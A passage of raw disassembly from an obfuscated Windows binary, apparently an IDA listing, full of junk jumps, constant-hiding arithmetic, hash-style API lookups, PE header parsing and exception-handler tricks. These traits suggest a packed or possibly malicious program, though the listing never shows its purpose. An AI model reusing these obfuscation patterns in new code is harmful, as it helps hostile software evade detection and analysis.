near ; DATA XREF: sub_42371Co var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004234EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E2D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042732F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428355 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004294A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B1BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D650 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D8CA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042DB9C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E63B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042ED2E SIZE 0000000B BYTES jns loc_42D650 push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42732F sub_42D833 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D844: ; CODE XREF: _0182ofla:0042E863j popf loc_42D845: ; CODE XREF: _0182ofla:loc_42E84Dj or eax, 0CF2CB6E0h add eax, 0A957EFFBh add eax, ebp add eax, 66FB5920h mov eax, [eax] mov eax, [eax+3Ch] cdq jmp loc_42B52A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42D864: ; CODE XREF: sub_42D056:loc_42A3A1j jnz loc_42564E jmp loc_427A75 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- loc_42D86F: ; CODE XREF: _0182ofla:00424DBDj jns loc_42A428 ; =============== S U B R O U T I N E ======================================= sub_42D875 proc near ; CODE XREF: sub_42798F-3496p mov [esp+0], ebx pop ebx lea eax, [ebp-2BBh] call sub_429E52 loc_42D884: ; CODE XREF: sub_42B15E-73EBj ; sub_4243D3:loc_426D98j ... mov esp, ebp pop ebp retn sub_42D875 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D888 proc near ; CODE XREF: sub_424E62:loc_424E69j ; _0182ofla:loc_42EB2Ep var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042416E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004257F3 SIZE 00000005 BYTES push ebx mov [esp+4+var_4], eax call sub_426B83 push eax jmp loc_4257F3 sub_42D888 endp ; =============== S U B R O U T I N E ======================================= sub_42D897 proc near ; DATA XREF: sub_428447+6o ; FUNCTION CHUNK AT 0042544A SIZE 00000009 BYTES mov eax, ds:dword_4231B0 or eax, eax jnz loc_427CA3 call sub_428D17 mov edx, 0F2B89A19h call sub_42D71D jmp loc_42544A sub_42D897 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42D8B9: ; CODE XREF: sub_42B669:loc_42E371j jnb loc_42989C js loc_42B136 jmp loc_42551A ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42D8CA: ; CODE XREF: sub_42D833-2677j ja loc_42A91B loc_42D8D0: ; CODE XREF: sub_42D833:loc_42ED2Ej call sub_428D17 mov edx, 20413B0Fh call sub_42D71D push eax ror eax, 18h mov ds:dword_42D124, eax retn ; END OF FUNCTION CHUNK FOR sub_42D833 ; =============== S U B R O U T I N E ======================================= sub_42D8EA proc near ; CODE XREF: _0182ofla:loc_42728Bp ; _0182ofla:0042A982j ; FUNCTION CHUNK AT 004273C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C5AF SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax push 1Ch push 0C42636F2h jmp loc_4273C5 sub_42D8EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D8FD: ; CODE XREF: _0182ofla:loc_423753j ; _0182ofla:00423F14j xor edi, ebp ; =============== S U B R O U T I N E ======================================= sub_42D8FF proc near ; CODE XREF: sub_42E668-B31Ap ; FUNCTION CHUNK AT 0042865D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042969C SIZE 0000000A BYTES mov [esp+0], eax pop eax shl eax, 2 mov edx, [ebp-14h] jmp loc_42969C sub_42D8FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42D90E: ; CODE XREF: sub_42798F+2382j jle loc_423061 jmp loc_42C7AE ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42D919: ; CODE XREF: sub_428EB9:loc_427C1Aj cmp dword ptr [ebp-14h], 4 jnz loc_428363 mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] jmp loc_42EDA6 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; =============== S U B R O U T I N E ======================================= sub_42D935 proc near ; CODE XREF: _0182ofla:00426EB7j ; _0182ofla:004275DDp ; FUNCTION CHUNK AT 00426437 SIZE 0000000E BYTES mov [esp+0], esi pop esi push esi push 725DEE03h pop esi jmp loc_426437 sub_42D935 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D33D loc_42D945: ; CODE XREF: sub_42D33D+1Aj jz loc_4293CE jmp loc_42B0C9 ; END OF FUNCTION CHUNK FOR sub_42D33D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D950 proc near ; DATA XREF: sub_426561+6o ; FUNCTION CHUNK AT 00425E7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042713A SIZE 0000000A BYTES push ebp mov ebp, esp push ecx cmp ds:dword_427A44, 0 jnz loc_427405 call nullsub_9 jmp loc_425E7B sub_42D950 endp ; --------------------------------------------------------------------------- loc_42D96B: ; CODE XREF: _0182ofla:loc_4257C9j sbb ebx, 0D1834218h jmp loc_42E1BA ; --------------------------------------------------------------------------- loc_42D976: ; CODE XREF: _0182ofla:0042E7C6j mov ecx, [esi] ; =============== S U B R O U T I N E ======================================= sub_42D978 proc near ; CODE XREF: sub_428F20:loc_425A76j ; sub_4235C7+7DD2p ; FUNCTION CHUNK AT 00425CE2 SIZE 00000005 BYTES mov [esp+0], eax pop eax or eax, eax jnz loc_42D1E0 jmp loc_425CE2 sub_42D978 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ebp, 722A4908h jmp loc_4292D5 ; --------------------------------------------------------------------------- not edx jmp sub_428447 ; --------------------------------------------------------------------------- loc_42D99B: ; CODE XREF: _0182ofla:loc_4239E2j pop ebp retn 4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_42D99F: ; CODE XREF: sub_429203+3BB1j jmp loc_42D4D9 ; END OF FUNCTION CHUNK FOR sub_429203 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D9A4 proc near ; CODE XREF: _0182ofla:00424B35p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 004238C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042532C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425CDC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004273A2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042977C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429798 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B305 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B4F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B53E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B7AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C668 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CB8C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D328 SIZE 0000000B BYTES push eax mov [esp+0], ebp mov ebp, esp push 0AAF480Eh jmp loc_42532C sub_42D9A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp dword ptr [ebp-0Ch], 0 jz loc_4286ED push offset sub_4286E4 jmp locret_429330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42D9C8: ; CODE XREF: _0182ofla:loc_4292D5j ; sub_425B00+4C7Cj sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] mov esp, ebp pop ebp jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- xchg esi, [ebx] jmp sub_42EB4E ; --------------------------------------------------------------------------- loc_42D9E0: ; DATA XREF: sub_428EB9+1DB6o mov [edx-8], eax jmp loc_42EC2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42D9E8: ; CODE XREF: sub_428EB9+1DA1j cmp dword ptr [ebp-10h], 2 jnz loc_428363 mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_42DD43 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_42D9FE: ; CODE XREF: sub_42349B+8j ; _0182ofla:0042B7A7j cmp dword ptr [ebp-1Ch], 67h jnz loc_42EABE jmp loc_42A3EC ; END OF FUNCTION CHUNK FOR sub_42349B ; =============== S U B R O U T I N E ======================================= sub_42DA0D proc near ; DATA XREF: _0182ofla:00429262o push 0CCFB62A0h sub_42DA0D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42DA12: ; CODE XREF: sub_423FCD-777j pop edx sub edx, 7CA3BD7Eh or edx, 150EC72h add edx, 0AEEAF175h xchg edx, [esp+0] jmp sub_423FCD ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_42DA2D proc near ; CODE XREF: sub_4286C8:loc_4286CFp ; _0182ofla:0042E4F6j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425941 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042625A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004268AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042939D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C4CE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax mov eax, [ebp-18h] add eax, eax cdq jmp loc_42C4CE sub_42DA2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42DA3D: ; CODE XREF: sub_425DA5:loc_4248F3j jnz loc_42CF61 jmp loc_42E419 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42DA48: ; CODE XREF: sub_42798F+2421j add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_423C65 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42DA60: ; CODE XREF: _0182ofla:00426792j jmp loc_42A487 ; =============== S U B R O U T I N E ======================================= sub_42DA65 proc near ; CODE XREF: sub_427F32+452p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426431 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004267D2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426D5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A448 SIZE 0000000B BYTES push dword ptr fs:0 jmp loc_42A448 sub_42DA65 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42DA71: ; CODE XREF: _0182ofla:004252C4j jmp loc_429E4C ; --------------------------------------------------------------------------- loc_42DA76: ; CODE XREF: _0182ofla:loc_427C92j add dword ptr [esp], 0E7238C12h push edx push 0BFB2DA8Eh pop edx rol edx, 0Eh jmp loc_42649C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42DA8C: ; CODE XREF: sub_42E6BF-13C6j ; sub_42E6BF:loc_42E00Fj call sub_42DA9C retn ; END OF FUNCTION CHUNK FOR sub_42E6BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_42DA92: ; CODE XREF: sub_4289E4+3928j jmp loc_42C286 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D15D loc_42DA97: ; CODE XREF: sub_42D15D-3C0Cj jmp loc_426537 ; END OF FUNCTION CHUNK FOR sub_42D15D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA9C proc near ; CODE XREF: sub_42E6BF:loc_42DA8Cp push ebp mov ebp, esp jmp sub_42C89F sub_42DA9C endp ; --------------------------------------------------------------------------- loc_42DAA4: ; CODE XREF: _0182ofla:loc_426817j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch jmp loc_429F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42DAC7: ; CODE XREF: sub_42798F+F69j mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_427AEC ; --------------------------------------------------------------------------- loc_42DAD3: ; CODE XREF: sub_42798F:loc_429D23j cmp byte ptr [ebp-5], 0 jnz loc_426069 call sub_4247FE test eax, eax jz loc_426069 jmp loc_426DD0 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- mov edx, 9278ADE5h call sub_42D71D push offset loc_42DDFE jmp locret_42D1C3 ; --------------------------------------------------------------------------- loc_42DB03: ; DATA XREF: sub_423395+49D8o push 0 push 10h push 713FF3A5h pop eax xor eax, 2E9A55F4h add eax, ebp jmp loc_423841 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ABB7 loc_42DB1A: ; CODE XREF: sub_42ABB7+1j mov ebp, esp push ecx mov byte ptr [ebp-1], 0 mov eax, cs jmp loc_42D046 ; END OF FUNCTION CHUNK FOR sub_42ABB7 ; --------------------------------------------------------------------------- loc_42DB28: ; CODE XREF: _0182ofla:0042771Aj jo loc_425A32 ; =============== S U B R O U T I N E ======================================= sub_42DB2E proc near ; CODE XREF: sub_42349B+604p ; sub_425BF8:loc_429F11j ; FUNCTION CHUNK AT 00424374 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428458 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042981C SIZE 00000005 BYTES mov [esp+0], edx pop edx loc_42DB32: ; CODE XREF: sub_425DA5:loc_42B56Fj push 0D7426A9Bh pop eax sub eax, 6F1DFA07h jns loc_428458 loc_42DB44: ; CODE XREF: sub_42609B+3j jmp sub_42926C sub_42DB2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427906 loc_42DB49: ; CODE XREF: sub_427906:loc_42AF57j push esi push 2A683C75h pop esi loc_42DB50: ; CODE XREF: sub_429038-5959j xor esi, 26AED336h add esi, 0F33910C1h call sub_428A39 loc_42DB61: ; CODE XREF: sub_42349B+987Bj jmp loc_42E2C5 ; END OF FUNCTION CHUNK FOR sub_427906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DB66: ; CODE XREF: sub_428D63:loc_42DD25j jz loc_42B115 jmp loc_42E184 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_42DB71: ; DATA XREF: sub_428041-24A4o sbb edx, ebx pop ebx call sub_4267E7 jmp loc_42CF08 ; --------------------------------------------------------------------------- loc_42DB7E: ; DATA XREF: sub_42561D:loc_42503Eo mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42DB84: ; CODE XREF: sub_423A2A:loc_42E557j jnz loc_42AAB3 mov eax, [ebp-8] shl eax, 3 add [ebp-8], eax jmp loc_42323F ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4252A2 loc_42DB98: ; CODE XREF: sub_4252A2+17j mov [edi], eax pop edi retn ; END OF FUNCTION CHUNK FOR sub_4252A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42DB9C: ; CODE XREF: sub_42DD86-925Fj ; sub_42D833-64FBj rol eax, 18h jmp loc_4294A5 ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- jge loc_4258A1 mov [edx], esi jmp sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42DBB1: ; CODE XREF: sub_426571:loc_42D158j mov eax, [ebp-4] inc eax ; END OF FUNCTION CHUNK FOR sub_426571 ; START OF FUNCTION CHUNK FOR sub_426240 loc_42DBB5: ; CODE XREF: sub_426240+8j mov eax, [eax] add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_42B8EC push offset loc_423C04 jmp sub_427503 ; END OF FUNCTION CHUNK FOR sub_426240 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BCB loc_42DBCD: ; CODE XREF: sub_424BCB+1F6Cj jnz loc_4299F7 jmp loc_427A68 ; END OF FUNCTION CHUNK FOR sub_424BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427762 loc_42DBD8: ; CODE XREF: sub_427762+14j or [ecx+edx], al mov ecx, [ebp-20h] push eax push offset loc_4274B0 jmp loc_42A2DB ; END OF FUNCTION CHUNK FOR sub_427762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_42DBE9: ; CODE XREF: sub_42E218:loc_423691j test ebx, ecx jmp loc_42C841 ; END OF FUNCTION CHUNK FOR sub_42E218 ; =============== S U B R O U T I N E ======================================= sub_42DBF0 proc near ; CODE XREF: sub_423057+Ep ; _0182ofla:00423E06p ... ; FUNCTION CHUNK AT 0042680D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427EBE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428D9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CA5C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D379 SIZE 00000005 BYTES js sub_42CA66 push ebp mov ebp, esp push ecx cmp ds:dword_427A20, 0 jz loc_426F91 jmp loc_42680D sub_42DBF0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A93 loc_42DC0C: ; CODE XREF: sub_425A93:loc_42A4B6j mov edx, 0B9726E5Ah call sub_42D71D push eax ror eax, 15h jmp loc_4269C0 ; END OF FUNCTION CHUNK FOR sub_425A93 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC1F proc near ; CODE XREF: sub_425305j ; FUNCTION CHUNK AT 004275B8 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_4275B8 sub_42DC1F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52E loc_42DC28: ; CODE XREF: sub_42D52E-6E4Cj jmp loc_4259F9 ; END OF FUNCTION CHUNK FOR sub_42D52E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA66 loc_42DC2D: ; CODE XREF: sub_42CA66+11j mov eax, ds:dword_427A20 mov eax, [eax] mov ds:dword_427A24, eax xor eax, eax jmp loc_428980 ; END OF FUNCTION CHUNK FOR sub_42CA66 ; --------------------------------------------------------------------------- loc_42DC40: ; CODE XREF: _0182ofla:loc_427627j ; DATA XREF: sub_424184+524Fo mov edx, 0F9A79DECh call sub_42D71D push eax ror eax, 7 mov ds:dword_42D24C, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC34 loc_42DC55: ; CODE XREF: sub_42CC34+Aj jmp loc_4255F9 ; END OF FUNCTION CHUNK FOR sub_42CC34 ; --------------------------------------------------------------------------- loc_42DC5A: ; CODE XREF: _0182ofla:0042A56Fj jmp locret_42D289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425048 loc_42DC5F: ; CODE XREF: sub_425048+Cj jmp loc_42522E ; END OF FUNCTION CHUNK FOR sub_425048 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D33D loc_42DC64: ; CODE XREF: sub_42D33D+14j rol eax, 7 push offset sub_428BEB jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_42D33D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_42DC71: ; CODE XREF: sub_428041:loc_429D40j mov eax, [ebp+8] push eax push esi loc_42DC76: ; CODE XREF: _0182ofla:00428C90j push 961F8FC7h pop esi xor esi, 7A23CA44h rol esi, 15h add esi, 4FC4D978h jmp loc_42AB1E ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42DC90: ; CODE XREF: sub_423FCD:loc_42A0A7j ; sub_423FCD+901Fj push edi push 0CAB0B607h pop edi sub edi, 0CDFC11Ch xor edi, 0BDD0F4EBh xchg edi, [esp-4+arg_0] push eax jmp loc_42C63B ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428110 loc_42DCAC: ; CODE XREF: sub_428110+46C5j jb loc_423EC4 loc_42DCB2: ; CODE XREF: sub_428110:loc_425903j push offset sub_42E6CF jmp nullsub_241 ; END OF FUNCTION CHUNK FOR sub_428110 ; --------------------------------------------------------------------------- loc_42DCBC: ; CODE XREF: _0182ofla:00427555j sub edi, esi mov [esi], ebp jmp loc_424F89 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_42DCC6: ; CODE XREF: _0182ofla:loc_4270DFj ; sub_4267F8+7892j mov eax, [ebp-4] mov al, [eax] mov [ebp-9], al mov al, [ebp-0Ah] and al, 7 jmp loc_4273CF ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42DCD8: ; CODE XREF: sub_42B15E:loc_423533j add edi, 66AC1755h jmp sub_42768C ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_42DCE3: ; CODE XREF: _0182ofla:loc_42A088j pop edx xor edx, ds:4000FAh and edx, 8B6BAF95h jnz loc_4240B1 ; START OF FUNCTION CHUNK FOR sub_4286A8 loc_42DCF6: ; CODE XREF: sub_4286A8+Dj jmp loc_425485 ; END OF FUNCTION CHUNK FOR sub_4286A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_42DCFB: ; CODE XREF: sub_42A181-4773j jmp loc_427730 ; END OF FUNCTION CHUNK FOR sub_42A181 ; --------------------------------------------------------------------------- mov edx, [ecx] rol esi, 5 cmp eax, 0D84F5C23h jmp loc_4240AB ; --------------------------------------------------------------------------- loc_42DD10: ; CODE XREF: _0182ofla:0042958Aj rol edi, 0Dh xchg ebx, edi jmp loc_426960 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427906 loc_42DD1A: ; CODE XREF: sub_427906:loc_423CB3j mov [ebx], edx mov ebx, offset sub_42469C xchg ebx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_427906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DD25: ; CODE XREF: sub_428D63+137Cj jmp loc_42DB66 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_42DD2A proc near ; DATA XREF: sub_42798F+26D6o ; FUNCTION CHUNK AT 00425D0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004286BA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D78F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E0D1 SIZE 00000005 BYTES movzx edx, byte ptr [ecx+edx] and eax, edx jz loc_42620C jmp loc_42E0D1 sub_42DD2A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42DD3B: ; CODE XREF: sub_427259+5E2Ej popf xchg ecx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42DD43: ; CODE XREF: sub_428EB9+4B40j jmp loc_428363 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D70E loc_42DD48: ; CODE XREF: sub_42D70E+9j jmp loc_426403 ; END OF FUNCTION CHUNK FOR sub_42D70E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_42DD4D: ; CODE XREF: _0182ofla:00424423j ; _0182ofla:loc_425CFFj ... pop large dword ptr fs:0 add esp, 4 jmp loc_425E6B ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DD5C: ; CODE XREF: sub_428D63:loc_428423j mov [ebp-4], eax jmp loc_42A53E ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_42DD64: ; CODE XREF: sub_423F50:loc_42D581j lea eax, [ebp-125h] push eax call sub_42DBF0 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_424447 ; END OF FUNCTION CHUNK FOR sub_423F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427802 loc_42DD7C: ; CODE XREF: sub_427802+5FFCj xchg eax, [esp+4+var_4] jmp loc_42713F ; END OF FUNCTION CHUNK FOR sub_427802 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42DD84: ; CODE XREF: sub_428F20-4A3Cj xor esi, eax ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_42DD86 proc near ; CODE XREF: sub_42D833-1DBp ; FUNCTION CHUNK AT 00424B25 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004293B2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AA29 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ecx mov esp, ebp pop ebp mov eax, ds:dword_42D124 jmp loc_424B25 sub_42DD86 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jbe loc_42B09D jmp loc_42968A ; --------------------------------------------------------------------------- loc_42DDA4: ; CODE XREF: _0182ofla:0042E8A4j not ebp ; =============== S U B R O U T I N E ======================================= sub_42DDA6 proc near ; CODE XREF: sub_425B6E+5CE2p ; FUNCTION CHUNK AT 00426126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042801D SIZE 0000000B BYTES xchg edi, [esp+0] pop edi lea edx, [eax+20h] jmp loc_426126 sub_42DDA6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423114 loc_42DDB2: ; CODE XREF: sub_423114:loc_423D3Ej ; sub_423114+34DFj call nullsub_197 retn ; END OF FUNCTION CHUNK FOR sub_423114 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423114 loc_42DDB9: ; CODE XREF: sub_423114+7j call sub_423FCD jmp loc_42E6CA ; END OF FUNCTION CHUNK FOR sub_423114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F4 loc_42DDC3: ; CODE XREF: sub_4272F4+5B32j push 0 push offset loc_42799E jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_4272F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42DDCF: ; CODE XREF: sub_42C553-7BD3j not ebx or edx, 92BBF36h adc esi, edx loc_42DDD9: ; CODE XREF: sub_42C553-7BDBj add ecx, 6A0C3B52h add ecx, ebp add ecx, 0AC03C6D4h mov [ecx], eax loc_42DDE9: ; CODE XREF: _0182ofla:loc_4238F3j jmp loc_42AFDA ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- loc_42DDEE: ; DATA XREF: sub_426E44-1EC5o mov eax, [ebp-14h] mov [ebp-0Ch], eax push offset sub_428899 jmp locret_42523B ; --------------------------------------------------------------------------- loc_42DDFE: ; DATA XREF: _0182ofla:0042DAF9o mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_427F10 call sub_427C4D ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DE10: ; CODE XREF: sub_428D63+CFCj jmp loc_42841D ; END OF FUNCTION CHUNK FOR sub_428D63 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_42DE16: ; CODE XREF: sub_423FE2+6694j jmp loc_429CE4 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42DE1B: ; CODE XREF: sub_42D056-69D0j ror esi, 1 loc_42DE1D: ; CODE XREF: sub_42D056:loc_428676j call sub_42ECFA lea 